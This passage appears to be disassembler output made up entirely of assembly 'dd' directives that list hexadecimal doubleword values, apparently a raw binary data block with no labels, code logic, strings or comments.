		dd 1F0EF2F6h, 0FC4A88h,	728D1B7Dh, 6623CC57h, 1E48FF3Ah
		dd 0F98620DAh, 4C0C76h,	0C16375E4h, 0AF8CA1B0h,	0E1BB2100h
		dd 101B5708h, 0F8EB00BDh, 11800185h, 3A0E8881h,	0E0B5B7AEh
		dd 4919FF15h, 0D9D0FEDh, 0D7C05BFEh, 40CF5A64h,	0F5232C00h
		dd 48C3EC35h, 0F7EA03B8h, 0D04FE72Ah, 4D9D67E0h, 0B6FFA307h
		dd 0D1A03FD7h, 983AEAB4h, 6F9000Eh, 1EB766DDh, 0AB160945h
		dd 2B009783h, 0D44139C5h, 0B950069Ah, 89124890h, 28B20E00h
		dd 2144BA80h, 4BEF005Eh, 0EBC3AE2Eh, 64072F3Fh,	5646CEF5h
		dd 84802AE4h, 90FC6EDh,	3BAA40A4h, 19AB9F82h, 7E801560h
		dd 57FFB40Eh, 0B313608Fh, 0F9B13Ah, 50776BBAh, 0E05B2E94h
		dd 6CDD3200h, 0A189952Dh, 0B5D100C4h, 60AE7A04h, 0E1000E4Bh
		dd 1B825D4Dh, 2518E79h,	0CA352502h, 0E0DF0FEAh,	13D3C6EBh
		dd 70D5B74h, 846CD7F7h,	206C87EDh, 0C12A55FBh, 0E0B35101h
		dd 71D71057h, 0F85F1040h, 0C880E955h, 2990A6D4h, 915106D0h
		dd 0AF5ED4A7h, 0D6215662h, 551C80C8h, 15B601h, 34CB5958h
		dd 0E37427B0h, 602E5F58h, 827AA231h, 292C586Dh,	49A82303h
		dd 207256A7h, 2ECB511Dh, 186B007Ah, 2855F962h, 0CEF889h
		dd 6376D4F1h, 75D8030Dh, 6093323Dh, 0AB156E89h,	0CB613A55h
		dd 14087EB1h, 5480FA60h, 25041E6Eh, 8792BD00h, 0B5527F5Fh
		dd 0AE5500C4h, 0FE820E93h, 0B1FF331h, 0FD40F897h, 4E9C5644h
		dd 0D9933A8Ch, 3372C480h, 0B6CC8273h, 0B0E45903h, 0C0E20217h
		dd 3B690Ch, 75AE9B5Eh, 2E3EC4FCh, 5AEB8B00h, 4037C57Dh
		dd 0CF70074h, 0B77FC204h, 4BFEEDF0h, 97E59501h,	6C84C347h
		dd 5862CCh, 0C271CD28h,	0D19C5743h, 20057600h, 3D517FBAh
		dd 5FEE38h, 849BD8EDh, 5AEA8763h, 0F621C700h, 0DB7C55C2h
		dd 1F76BAh, 660AF4D7h, 0C88FC692h, 0DCD44B54h, 0DE6504ADh
		dd 443207Bh, 400380BFh,	15671D0h, 75285F1Ch, 80AC702Ch
		dd 570E9121h, 0CC69B1Fh, 0E0254DD5h, 72046739h,	0BCC0ADD4h
		dd 58E3FC80h, 183524E2h, 0DCAB03BFh, 0D1C820A1h, 372417DAh
		dd 5780BC90h, 4F9F3C74h, 55E316F6h, 0ABEB00EDh,	1969C27Dh
		dd 8FCC6202h, 0C0F65009h, 293DC58Fh, 0C22039B2h, 0FD31AB5Eh
		dd 0C6B2EBE4h, 0B18FC9C1h, 3A2A661Fh, 4DAC14C0h, 0EF368Eh
		dd 9C3D4F05h, 0D9AE4097h, 5E023899h, 0A0FF7850h, 4C352194h
		dd 24563C95h, 8E0E361Eh, 0F821F920h, 0C81FC0C2h, 0B37F5818h
		dd 0D8322801h, 5E1B17DFh, 8980AAD5h, 0F590FD51h, 72179139h
		dd 22062EF8h, 192098B0h, 0A9312D4Ch, 503C4077h,	5A039CAAh
		dd 38BD75B0h, 8CE68081h, 1A6F421h, 244DD8B2h, 8250E154h
		dd 0C8F78D48h, 113720D7h, 0D0BCF5Bh, 801233F8h,	665EBE62h
		dd 0CEEC13DCh, 0C86406D6h, 9DF63188h, 0A9E7FE00h, 0D8A86DDAh
		dd 935C0065h, 374B1A54h, 0B21182C0h, 6E01D5C8h,	0BCC296A6h
		dd 0FF588597h, 0A0404E15h, 0E5A50ADFh, 889600F4h, 9B95F3ABh
		dd 980DD8F9h, 2962F809h, 0D960DFCBh, 2DEA46h, 94038784h
		dd 93505AEFh, 1DC7412h,	51A40400h, 0F6D88D68h, 0F287FACh
		dd 0BDE2ADA2h, 0B195019Ch, 23693539h, 0E0F005Ch, 89946A2h
		dd 3DBC3FF7h, 0AB0A924Ch, 87F45E77h, 0D21CE5CEh, 33E00B9Eh
		dd 0CCF4429Ch, 0DA74260Eh, 8979612Bh, 7C21F3A0h, 72AD7C01h
		dd 101A022h, 6FBD7E51h,	407980A3h, 29786E77h, 0BEF4008Ch
		dd 0D236968Dh, 7145AE52h, 1DE13880h, 87C0D893h,	50F8920Ch
		dd 90DDF058h, 0AE6F306Ch, 47C99F51h, 95FB6C02h,	89026474h
		dd 4C509088h, 99DA602Ah, 60465EFCh, 346DD428h, 957CF614h
		dd 0ABCFA4h, 3FF078F7h,	54F8302Bh, 3877A029h, 8A3D561Eh
		dd 69DB0A07h, 0A2EC0129h, 0F183F05Fh, 0DD416F20h, 9867701Dh
		dd 0D9E184C0h, 0F2FA69h, 291CE880h, 0B1ECD8C1h,	5941A965h
		dd 0B85A580Fh, 7C6171h,	3702BD64h, 0F8C68BB9h, 0E138FF62h
		dd 0ABC803D4h, 0D309D91Eh, 4543CCDFh, 0F819A085h, 1CFCD63Bh
		dd 0C0518270h, 4B314CC1h, 6B00F7B0h, 60C8E452h,	4C4E2EDCh
		dd 64805823h, 0F6465D95h
		dd 0DD441490h, 0AC20073Fh, 205FE150h, 5372D2E7h, 85CC5139h
		dd 0B8488BC7h, 2A798860h, 0B6582874h, 60C8E2D4h, 28E661B0h
		dd 6E128D0Dh, 6D0E5BD3h, 0A027A708h, 939020A9h,	5CD464DAh
		dd 0D680946Fh, 0C35DAAC0h, 4080AC54h, 0CCB848h,	4E28CD51h
		dd 990653Ah, 60242E15h,	5E206000h, 0C1C2A6D0h, 90F35CA2h
		dd 88B2CFB0h, 9500B849h, 0D7FFC401h, 25A434h, 2272F7C2h
		dd 0DC611E18h, 2D19E3F2h, 0FC5866E0h, 0F5BFA080h, 0E69C0E70h
		dd 8D001899h, 402D324Eh, 554926Ah, 0F3880905h, 0B844006Fh
		dd 9C3A9484h, 9291BE00h, 0FDAA3497h, 4026EDE2h,	0ECB3848h
		dd 70C50177h, 4A70C779h, 9FA5017Ah, 3E2CE0FFh, 49B6F01Fh
		dd 0F73966F2h, 0ABF8E497h, 4C442B22h, 3D0CD0B0h, 0C826E998h
		dd 0D50A00CBh, 66D78D73h, 0E4549044h, 5B497774h, 8E883890h
		dd 20621EDDh, 0D7F74B05h, 2410FA12h, 0C5079F8h,	0A71A46Fh
		dd 0B4E6BE00h, 0B86AB99Ah, 36C300DEh, 0D072F89h, 0E7052DCFh
		dd 64ABE038h, 0C5DD8C81h, 0AE70AD10h, 94F4B04Ch, 0EBB3C448h
		dd 55BB4CC0h, 6890ECh, 96BD8815h, 0ED254BC7h, 0F550C401h
		dd 67113D73h, 0D430C441h, 70F24180h, 8C891619h,	1880BE53h
		dd 6AE15977h, 1983079Bh, 503AEC34h, 322A9A6Eh, 38D026FBh
		dd 2262225Ch, 0F491A7CFh, 0F7A3E380h, 194E5532h, 884F7413h
		dd 0CE10F62Bh, 766D2824h, 7336003Ch, 1E5528FAh,	6E149764h
		dd 0AC489BEh, 94FB2DD0h, 5875AD84h, 691A8491h, 990CDC23h
		dd 8589A570h, 3B1C46FAh, 802D1A65h, 5F229592h, 6F0D28B5h
		dd 6490058h, 9617652Ah,	521C0755h, 0E14470F3h, 7C9D2497h
		dd 0D327C088h, 0B9DBAD8Dh, 0FFE9D1E3h, 60C89058h, 7E43298Eh
		dd 0D07E2D3Bh, 0C4104F00h, 95189E0Ch, 790A01CDh, 0C9320971h
		dd 0DD3180ADh, 0C8C775E4h, 0D85D00FFh, 0E11FABA5h, 84A193ACh
		dd 0F8FC105Fh, 7375884Ch, 693EB67Ah, 9ADF8022h,	5426E5E8h
		dd 6C2E5C05h, 7C98B022h, 0C9BF900Ch, 9367714Dh,	0ADDF0528h
		dd 0BEB02074h, 1100AC46h, 70FD359Ch, 399F3B18h,	271C534Bh
		dd 464AC16h, 0C0A168E4h, 0D52D4D6Ch, 0B376AD88h, 322C1378h
		dd 70E46F80h, 0E5B33500h, 0F5707B22h, 782624AEh, 0C5434008h
		dd 3E0FA956h, 214AB925h, 0E69CA15h, 80789847h, 18C39138h
		dd 0EB0B4725h, 0A28B5429h, 66D55A90h, 21534378h, 0C0FC24D0h
		dd 651F73Fh, 4D7273Eh, 224E90F1h, 0F0054E2h, 37946AC3h
		dd 150249F8h, 638BA397h, 90246008h, 6FAD80FCh, 4C7C5050h
		dd 0FB883B01h, 0F70A5A4Bh, 48F0BC70h, 14292808h, 0B3840FB4h
		dd 0C36576A2h, 3E5270C8h, 0A1B8921Fh, 98993C0h,	97F9054h
		dd 5F48A3A6h, 45E1A8A4h, 54012E4Dh, 280FDAFCh, 362061h
		dd 0F500CE3Ch, 0F8537D36h, 0F64257A2h, 7544D03Ah, 4516F771h
		dd 0F4307BF0h, 8FE1B8Fh, 0A61D0E18h, 1C3C8C3h, 11083979h
		dd 0DCD94684h, 62013C7Ah, 0B57227A5h, 0AB7063DFh, 44349D3h
		dd 9536419Ch, 0C2063DC5h, 7952EC82h, 0C660C040h, 510B6D1Bh
		dd 0C10882E8h, 0F8261B04h, 4713A200h, 0BEE5D542h, 6B15FF18h
		dd 1EF1EB1h, 3B21E1F9h,	20F82757h, 526308E4h, 9EE25A38h
		dd 48D4A6F1h, 0B300CD72h, 3F0681A0h, 48011D5Eh,	34AF5C16h
		dd 5076B7E7h, 39D2C818h, 6F1259FEh, 4C4892EAh, 0AF0980D7h
		dd 95220AD2h, 0AE49260Ah, 0C944F86Dh, 850C5484h, 42EC9061h
		dd 0C322D9h, 2C9CB4D3h,	27AD07A6h, 0FB2BF00h, 29AE02CBh
		dd 49AB0B01h, 9430B6F8h, 764C79B0h, 8F980CCh, 3F8C19h
		dd 0B8C9924Dh, 90A8FDD5h, 0FF576402h, 68DAF9EBh, 0FD2BA386h
		dd 345AD824h, 4091A8D7h, 0B5C45374h, 93D581h, 0F1008E91h
		dd 9254054Ah, 0CF00EE3Eh, 51E5F5EFh, 2CDFFD43h,	0E520D073h
		dd 9C48856h, 2C101B58h,	64098808h, 38580953h, 10FD1B4Ch
		dd 0B265F8h, 88CDC734h,	19DEAEh, 9004A015h, 0BDA75106h
		dd 0F2D89104h, 74812F33h, 8D10F45Eh, 80984EBFh,	0CBB8EF02h
		dd 64C925EEh, 6F2A0158h, 0CA44F5FDh, 82FC28C0h,	4EF864h
		dd 0E45D49EDh, 8D0F8A0Eh, 25D12018h, 4837F754h,	6730E85Eh
		dd 3CE7D8A1h, 304D400h,	95C1FB1Fh, 84FC06AEh, 0F1D9D0D3h
		dd 0A9708D15h, 7A8301B4h, 7C25174Bh, 5D087864h,	6D02B05Fh
		dd 2784011h, 5701ECA0h,	0AD0032EBh, 0C1913604h,	29DD4Ah
		dd 8C31C903h, 0FEC4D897h, 0A2D75E14h, 80B088E4h, 50BC3B45h
		dd 976BF8Fh, 6232F013h,	4E828467h, 4844442Dh, 31802877h
		dd 2464B92Fh, 74431A17h, 3B92A540h, 2D0F26Ah, 8CF7FAB0h
		dd 0A4C0D7A9h, 0B70486CEh, 741C9064h, 324F1431h, 8A3F7Ch
		dd 7055404Ch, 9B2580B3h, 4591190h, 0CAE29D5Ch, 64398182h
		dd 76B8A0F8h, 90741656h, 0AC2C48A2h, 0B56A4280h, 4DCF24C4h
		dd 0A59D843Bh, 27518418h, 797E3000h, 6BD8931Ch,	0F7B80580h
		dd 82E47F49h, 3C71FDF8h, 98E86700h, 2E7B6Fh, 2BE2AFDAh
		dd 0A32FC24Bh, 0F7072505h, 0D4222DA2h, 4C414h, 59280D88h
		dd 0D58FBF70h, 76BA9B01h, 7DE436D4h, 0CE3B13Fh,	43029F60h
		dd 0E3489394h, 0AC445139h, 0A3C9C080h, 71C40157h, 3CA4CE5Ah
		dd 0E0D654C8h, 0D3A50008h, 0F1F848D8h, 9CA03177h, 5C3253A3h
		dd 205AA957h, 9247DBAh,	0F09A4C09h, 3F440589h, 8B5B38CCh
		dd 0D6949890h, 4E82A900h, 0F3291B23h, 0E0A074C8h, 0A5EB12B6h
		dd 0F9F40AB2h, 0AD1148h, 2E4B56A6h, 0F491CAh, 7674E717h
		dd 0E1C9EF79h, 7C843524h, 12EBD0B0h, 806093C5h,	0CCD13A34h
		dd 0E029808h, 0D872E58Eh, 0F799186Ch, 0E8577F28h, 5632Ch
		dd 0E9784900h, 0EEFF9AEBh, 0CCC9CF4Dh, 332844A0h, 8805B637h
		dd 7FC0637Eh, 253DE400h, 4A898D7h, 0FFE3DD39h, 1398A390h
		dd 0A8886DADh, 78E04430h, 7C16749Bh, 8F584C08h,	25E0260Ch
		dd 0FA601C9Fh, 82968C3Bh, 7E506A3Ch, 0E071BDh, 49FE4EB3h
		dd 0D707FD48h, 40B43575h, 40B1327h, 0F8B42444h,	0B26D0C23h
		dd 0DC8154A2h, 0E8F84524h, 948799C5h, 9506AB90h, 597622D4h
		dd 6C386E50h, 0E5E4FD09h, 4D4830DEh, 0A56CA524h, 0ACCAB490h
		dd 0D28A2B00h, 0F6F4922h, 0EA7205ECh, 0C8E25EFCh, 7A0430B4h
		dd 0E8F701D4h, 0DBDC10E1h, 8594B955h, 0D1955228h, 808F16Ch
		dd 577788AEh, 92005892h, 0FBCAEB40h, 24CBFDC5h,	50004185h
		dd 0EF5530A2h, 70C2E588h, 0EC9026C0h, 0D86FBE04h, 0E8F4783Bh
		dd 55A91E13h, 5714A8Ah,	9EA04A0h, 0FF7C31Ch, 64B088DCh
		dd 1ECF3C00h, 5FDE529h,	8D9E3D76h, 87EC6381h, 0E49A0A4Dh
		dd 90B10E03h, 0DAF35180h, 7B274C26h, 62504A2Fh,	0BA20A284h
		dd 0D7FC99h, 84331291h,	2DB6F4A0h, 0DF7E400h, 0BD7D8509h
		dd 542A121Bh, 0D8709283h, 9483D4C5h, 9D3EE980h,	5CE5A098h
		dd 0A40A88FCh, 17901E25h, 8D68D054h, 0FE0E731Ch, 0E7F21F95h
		dd 9989C0DEh, 0F83824D8h, 3B84C8D3h, 50604100h,	9E84E63Ah
		dd 0A6A70EB0h, 5E800727h, 2C4DBD64h, 0FC99AC64h, 7ECCC880h
		dd 0BCD75FBBh, 0D981130Ah, 295C60C2h, 0BDFCF464h, 7ABA7D06h
		dd 80826Dh, 45753CD1h, 0DDBEF41Ah, 0FCAC7BE2h, 46BF3307h
		dd 3565F3E1h, 0B266B8C1h, 0E8D90102h, 0E5416804h, 0A6CC3D80h
		dd 3B2F89Ch, 0DF600B95h, 71854D1Bh, 0DE43FDE0h,	0B19013C0h
		dd 5D097FE6h, 9CA0C9Fh,	0F7B418B4h, 0E52F3EEBh,	0A3A0BA05h
		dd 5E78DC51h, 75B8F552h, 0D22D3002h, 62FE75F0h,	244C6C8h
		dd 0DF2FDB95h, 0C0617F4Eh
		dd 0F08B095Bh, 8501AE52h, 27901281h, 1D3220F4h,	94DDFDE7h
		dd 78896468h, 0C0EDB4C4h, 89006AE7h, 8FCB40CFh,	94B25EF9h
		dd 25C6A70h, 8E698870h,	680264C6h, 80DAD921h, 905AE37Ch
		dd 435B409h, 8FECE04h, 6EEC81BDh, 57BC5720h, 1D0048DBh
		dd 0B038D59Ah, 59800044h, 23504AECh, 1B00B305h,	0C2695F07h
		dd 1654285Bh, 6098AFD3h, 0C7C4F2A0h, 8FEF1D00h,	0BCF6E0F1h
		dd 430E1661h, 95F8CC58h, 2176792Fh, 0DB12B884h,	0CDD7D4h
		dd 0D129BBFDh, 0CCAA8D71h, 0B0C6AB00h, 0DB094A42h, 0CC359D6h
		dd 10354487h, 187584E5h, 0D530EF0Eh, 310229CAh,	7818098Ch
		dd 2B34ACB2h, 60C481E9h, 0E18034A2h, 0E72C8DD2h, 120ED303h
		dd 0D0EFB65Fh, 20D90DC7h, 88263B23h, 788AF0B7h,	738EDC58h
		dd 0B686069h, 0B05A0Eh,	1938F4F1h, 9575F82Ch, 0A20884ACh
		dd 0A620461h, 80C87214h, 0E6222EDFh, 0B3007AB0h, 0E9E1330Ch
		dd 0DE571Ah, 5FEF6063h,	0C93B673Ch, 2C032899h, 0AC3589C0h
		dd 782DFCA3h, 604B68B0h, 0ECFA1E00h, 51BDCAADh,	2A88A868h
		dd 0E35644F5h, 0E86C449Eh, 60758984h, 0BE88584Ch, 4F6C9168h
		dd 351864A0h, 0E8E9DAFDh, 2216317Fh, 0CC72F66Ch, 9EBC4C67h
		dd 330200C8h, 12693896h, 134C90F2h, 0DF22A4h, 3D74D98Dh
		dd 575BA02h, 35E2901Eh,	6D50EB5Bh, 61B9A8B8h, 889C2CF0h
		dd 757945EBh, 81A040C0h, 0F7086BA4h, 96017872h,	5E7D3FC4h
		dd 8C729FDAh, 31769880h, 6700C669h, 21818025h, 527887F3h
		dd 0AC4C7066h, 0BB0E411h, 13151DDEh, 304DD0E8h,	0A8E80778h
		dd 59ACA7E0h, 506C5402h, 0E680BC73h, 0F2E912A0h, 0C6EA26C8h
		dd 64528444h, 3F188815h, 79201E02h, 0E005F0C3h,	2424DD6h
		dd 2483C278h, 0ECF27048h, 158BB200h, 6EE42F82h,	24D02E1h
		dd 0D67BA0D2h, 567C9460h, 589E7475h, 0B000F617h, 696FD7A8h
		dd 0BA40169Fh, 0EA5862FFh, 0B700B8D9h, 0CC224812h, 154B0DEh
		dd 639B6B8Ah, 0C14F7753h, 0B77FFC95h, 244EDB13h, 0C8FCA420h
		dd 4F6B0090h, 0AE51BF39h, 0D9C57473h, 3488CA01h, 0FD3F007Bh
		dd 7E050665h, 75004B38h, 2BAB3EBh, 48B874FFh, 0FD263D8Fh
		dd 8322DB8h, 0B50038D1h, 9D4E65B2h, 7E3406F2h, 0C1F84AEBh
		dd 828CED01h, 15874252h, 0E50CCEC2h, 0E1495A08h, 76A09590h
		dd 1417DC99h, 0B5B89820h, 953A0948h, 0A4078039h, 0A20BA838h
		dd 4E341859h, 0C3D0AB27h, 2A1011FFh, 0C65F00D3h, 7BFAEB3Dh
		dd 0D723097Fh, 0A053CB73h, 5030A112h, 706D7B12h, 9F7C00BBh
		dd 27D5A88Fh, 7900CF6Fh, 0A3168AEFh, 94647717h,	0CC226520h
		dd 0A902C700h, 4CFFE875h, 394CA925h, 7D0263A4h,	459C1843h
		dd 8C40A06Fh, 5718F971h, 3ECD7190h, 0A00FF1Fh, 36036662h
		dd 0B72FB1C4h, 0D3C01007h, 8F4C3B97h, 1304AE80h, 0CEF24DF0h
		dd 447D2F13h, 10E80C8Ch, 92FFE35Eh, 7D30E4A2h, 37CA0F12h
		dd 99A55502h, 43FBAF18h, 2E17A0E6h, 9839FD68h, 8FC7A0Eh
		dd 73D0C60h, 1000A843h,	9310A5Fh, 956F8Fh, 1E1CCABDh, 0CBC6EF90h
		dd 72509378h, 0FE40C09Ch, 32264E1Bh, 0DB205084h, 0F6962556h
		dd 0DA6E0022h, 3F08A913h, 7E250CA6h, 1B444BDh, 0D8C80AFFh
		dd 0C0D965B1h, 5D0896DEh, 0B7FF73Dh, 0B888B6E0h, 0B07060F0h
		dd 0E200371Ah, 31A1F88Eh, 77938601h, 94175352h,	0C90F02Dh
		dd 0FE0B1871h, 803BAF3Ch, 0B223BC5Dh, 313D00E6h, 4C02244Dh
		dd 8904075Ah, 66F0DAC1h, 24DA6C94h, 1674123Bh, 0C8A1D75Eh
		dd 57415ADCh, 95809868h, 3BAB0A52h, 211D1896h, 691225E0h
		dd 2F42E44Ch, 13956300h, 6FC92AE1h, 0A5A244h, 3CB72C1Eh
		dd 1BCE6745h, 8670E52Ch, 0A2938401h, 68257E18h,	200D876h
		dd 0B8BDEAF9h, 5200D9EFh, 6D68D18Ch, 13BCC006h,	37FD53ACh
		dd 2F5B7000h, 3A25601Ah, 272C4C64h, 24116CADh, 84520924h
		dd 2C44C9h, 0C6351753h,	82279B73h, 0FA4A6200h, 7843F7C5h
		dd 521B0954h, 74851A5Ch, 2B28044Fh, 41FC4BDFh, 0A47D932Ch
		dd 58D4762Eh, 0DD0E582Eh, 605A4FF0h, 93699670h,	0A37F008Ch
		dd 9714DE13h, 0BC94EB78h, 0F2703E62h, 0C09100E8h, 5D3136C3h
		dd 0B5185559h, 0D3E1F577h, 0AE7102B9h, 0B046ED58h, 8CB45F60h
		dd 0B4CAB325h, 4C645938h, 921A6001h, 538D4134h,	8A80D738h
		dd 0BD008630h, 0FFB37D43h, 6B2DCF25h, 0DCE6E897h, 0A9AC38h
		dd 7FCB9F2Bh, 0B0BCC8C7h, 202A0357h, 72243C2Fh,	0B804805Fh
		dd 90B8EEC5h, 67FE169Fh, 0E2185C50h, 18242B95h,	7DDE0698h
		dd 2B2C2766h, 0E708E810h, 1F3F9F00h, 4E35AA60h,	5F540F8Eh
		dd 0D20F550h, 0D65E6759h, 0A22DC4A4h, 14BC2556h, 0F340B4h
		dd 0BA13E66Ah, 32E80F08h, 49A91909h, 0F4E0884Eh, 43F88D42h
		dd 0DC11179Ch, 0D620288Ch, 103234B3h, 0ACA224AFh, 5A2F7CF8h
		dd 0EA58B3B2h, 9F485CBDh, 0F9694170h, 208CB513h, 3740B32Ch
		dd 4E430BFCh, 0FD82633Ah, 44FB8626h, 0CE5E1205h, 0D40938F2h
		dd 4422686Ch, 4C5E2E4Ch, 0D8D07797h, 2BA609h, 4997F567h
		dd 76364883h, 81247B4Dh, 0D85EFF75h, 0C03D6451h, 4B5A604Ch
		dd 6F24D8D9h, 0CB9DC0B6h, 0FC466A80h, 4DEC736Eh, 1C5890BCh
		dd 64486D25h, 0EF2568DBh, 33BCB081h, 3D8A2F7h, 32CD5A58h
		dd 574161D1h, 5C886E24h, 0EFD11D98h, 0B34105CDh, 0C0C0C4D2h
		dd 910B108h, 0A479F42Ch, 463823CEh, 0F30C8837h,	8F280970h
		dd 24B08CB0h, 2EF15E78h, 11577422h, 76DC4220h, 31E1DC72h
		dd 7273C874h, 0F9089700h, 0B38D4431h, 0BC985848h, 79C1093Dh
		dd 23388B8h, 7C3B9EF7h,	1880C0BAh, 1367E2C0h, 0DB427099h
		dd 0D3CA1363h, 8CD78A2Fh, 0D45EBC40h, 905C996Dh, 37BBA12Dh
		dd 750CE605h, 90D9AD25h, 692DA31Ch, 1404F9ECh, 32025DA0h
		dd 0E15F0F78h, 2063AB99h, 0CB007E3Dh, 0E2BE2F3Fh, 8C00C9C7h
		dd 1CCFCAEFh, 0BE28A2E6h, 18714954h, 0E4626397h, 0D0F151h
		dd 0F858BB60h, 1A00ADD8h, 0F1E77E10h, 5D40C86h,	9CBE8217h
		dd 52F0C826h, 0E2442896h, 6D3F8025h, 2404982Ch,	0B64838C3h
		dd 28B7B492h, 68C9427Ch, 3270D4B1h, 2D96003Ch, 0F7C98EA1h
		dd 0F9B094Ah, 0CC048DF0h, 239CB666h, 21202464h,	0FC2A7Ch
		dd 0DFFC99D8h, 699830F5h, 10C0AA59h, 0F60707ADh, 0D12C3B4Bh
		dd 22938231h, 98209794h, 0EEAA6Dh, 628C15F7h, 95F31A71h
		dd 0E6C58401h, 0A9224DAEh, 55B4222Eh, 52234C22h, 6954B41Ch
		dd 587A879h, 68B0A638h,	1719AB11h, 9CD5BB2h, 0C05B1A44h
		dd 9C172CA0h, 0E605CF58h, 2CF20BF1h, 0CCD95134h, 85008DFCh
		dd 7AFCB031h, 0D25DCAh,	7726B442h, 0CDF78464h, 8BCC580Ch
		dd 0A05698B1h, 0A45773A4h, 51A444F0h, 52126026h, 0D6FD6B00h
		dd 38D5BBCFh, 0F5A100Ch, 55607810h, 751B604Bh, 7C935770h
		dd 0F3DE12h, 828F853Ch,	7D80E269h, 95DD2661h, 0B959DF07h
		dd 1DA29301h, 133061D1h, 2E10CBD8h, 41AC767Ah, 3058F95Dh
		dd 951E1AB2h, 2197EF0Ch, 37117C67h, 0F9E901EDh,	0E974642Fh
		dd 30B041C8h, 45B8281Ch, 9898AF2Fh, 0FCEC8BF4h,	8F3604D5h
		dd 0D887F6B7h, 1C01322Ch, 482B5647h, 0A422766Bh, 0BBD80603h
		dd 36B01813h, 35001929h, 9FD91524h, 2FE726C6h, 0A0B0EE94h
		dd 6A80DD41h, 327595h, 684B730h, 9874136Bh, 94664327h
		dd 264D2710h, 0D816B044h, 2560ECh, 6400E484h, 0B47124A5h
		dd 817E1F3Ch, 9AA44183h, 385A1843h, 78501210h, 2C2FA4B4h
		dd 1C85A2C1h
		dd 0B5C8C152h, 0D07C8F82h, 0E20497E7h, 0DDCDD472h, 3884F8E8h
		dd 0C080F2B2h, 8BD446C0h, 0C0CC5901h, 8DFE6C00h, 44D26AD8h
		dd 0CF40950Bh, 0CE604815h, 574300E9h, 1F05B8F8h, 10038E4h
		dd 8DF664AAh, 0AC505D44h, 2B4D15F0h, 205A80E1h,	66871F0h
		dd 28140100h, 0B038B287h, 95600484h, 85ADA58Dh,	0E3CC3592h
		dd 80D2C814h, 3DB6487h,	0E8B80A91h, 12DAF33Dh, 44A25CA4h
		dd 3FB07E81h, 74A0E0B7h, 212CC149h, 6311C3h, 85790CE5h
		dd 7BF98D0Ah, 27A17ED3h, 0E8C5A99Dh, 0FC25AE11h, 8EC0CC12h
		dd 400F7B79h, 0A32BCD02h, 99586349h, 0B440FD1Fh, 1370F56Ah
		dd 763D4711h, 50FB4898h, 0BD4441D8h, 0CC962903h, 905E8C5Ch
		dd 5ACEF95h, 6BD7404Fh,	4650C02Ah, 1CB3FE93h, 7E00FD9Fh
		dd 4E907BBFh, 8D871632h, 2ED863BEh, 0F8F1FD99h,	30009CECh
		dd 8F1DBF24h, 985C21CBh, 0AE922C0h, 0D76B2704h,	14F9522Ch
		dd 9563EE82h, 9C0A980h,	24B84EBEh, 0CCA6780Eh, 0FFDF856Dh
		dd 0F078E899h, 0E958B380h, 0FE070B7Ah, 301350D3h, 592BB812h
		dd 294D05DCh, 17F4E2C4h, 0D8C879DAh, 525901AAh,	0A6C4EA85h
		dd 18607025h, 0AEF8A197h, 0C8506C73h, 95A837Fh,	0FE76678Ch
		dd 4194C404h, 61E82DA2h, 0A2ED5A03h, 0AA2281A0h, 0CCCDF666h
		dd 4731C0h, 0A57F39FBh,	0C62E4DB5h, 0B794B8B5h,	2899009Eh
		dd 689DECA9h, 461C4B7Dh, 0C8C07BE0h, 2FD09FB2h,	2014253Ch
		dd 2C2C0CA7h, 0B0AE7849h, 0A5100894h, 4300229Dh, 223C27B4h
		dd 2413A1EBh, 13466EFh,	2662D5E2h, 0F1C2978h, 2FB2AB7h
		dd 0F1740F1Fh, 0B0E834h, 6D03C689h, 0FF5DA47Ah,	0F4561124h
		dd 0BC458D04h, 2E288378h, 0D7CC22BDh, 4C005AC2h, 0A970E920h
		dd 187D0209h, 75240452h, 0F787A4E3h, 5CBC88A2h,	4640C04h
		dd 0EC84C82Ah, 0D4CC176Ah, 0A3C4346Ch, 7D853E8h, 0D69C96A4h
		dd 0F4E05040h, 0E26E0BCAh, 0CC324D3Dh, 10A7DCC1h, 1E1E5F1h
		dd 209CDB3Dh, 0D05A492Bh, 4F0972F7h, 90CA138Dh,	1F3E4430h
		dd 2E98E3FFh, 387F0894h, 0E0A47712h, 0CEDA191Bh, 0D83554C9h
		dd 5700E907h, 6B29E74Dh, 2BC882C4h, 89EC4BBFh, 0C069D7ADh
		dd 9CF0486Eh, 4828FC00h, 0C9CBE705h, 95880289h,	0F736BD78h
		dd 6349886Ch, 8088C8ACh, 0D9E201DDh, 2F005CD1h,	11C7DF4Ah
		dd 48B13C5h, 9FF397B5h,	1160B651h, 0F7DABD8h, 1D88E2AEh
		dd 18AB90C9h, 5F7324A0h, 0AA17A9F7h, 64099537h,	0A2109079h
		dd 20149130h, 228E4E4h,	83FC7F97h, 0DBAFBCh, 925EA28Eh
		dd 5D162C30h, 0F5FCEF19h, 0C1431F66h, 0A0C42D53h, 6000077Fh
		dd 0CA0A6CD0h, 1676310Bh, 64518CBFh, 65408038h,	525E21DAh
		dd 6C804C65h, 74276090h, 73C03E4Eh, 96C0884Eh, 8D75A200h
		dd 3812915h, 200CB0B0h,	2027AEFBh, 0ED341018h, 9DFA0509h
		dd 9DE6640Fh, 0A9ADD0E4h, 87459C3Fh, 0E43B2F6Ch, 3D328870h
		dd 246EF3AEh, 6B94DD84h, 6347D820h, 547F0F8Ch, 4CC7BDFCh
		dd 71AC9525h, 11A6D7D8h, 10385FA2h, 644AD888h, 0ACC425h
		dd 4260E10Dh, 0DFC2A21Dh, 0CC9008E4h, 0E01153h,	30F8233Dh
		dd 56372A93h, 8D2FD851h, 326D3C81h, 61C43012h, 0FA25FE00h
		dd 0C07BAAAFh, 22575EA3h, 0D63AE438h, 485465E0h, 0B9C9CF14h
		dd 0AB1091F0h, 0EE0084AFh, 8E53DDE2h, 99F45Fh, 0ED777DE7h
		dd 0BD1AAA27h, 50885E4Fh, 0C57112h, 0B9D9F843h,	643569C4h
		dd 0EC6C2E00h, 0CFA8FD32h, 0E463492Dh, 9CC9374h, 8C5277E4h
		dd 0BE695900h, 0C5F71695h, 0EFA603DDh, 0F66E7E8h, 5BA4E6E4h
		dd 8E74C8h, 25320319h, 645716DAh, 2C74904Ch, 1442BC59h
		dd 6CCA05Ch, 7AE5D0DAh,	0FA420120h, 0CAADA1ABh,	84602219h
		dd 0E0A08227h, 194E0988h, 0C4E42AA4h, 3CF8F851h, 6C7B2950h
		dd 0CA5810C9h, 309D0067h, 4B49C60Fh, 6900AF1Bh,	2C4A7D8Fh
		dd 18BCAB9Bh, 9C95409Ah, 10B5A965h, 7D2C1ACh, 0F416B3A1h
		dd 7697F1CFh, 0F5E850F3h, 21E8AF3Ch, 0D7D48A4Dh, 0E62EFC90h
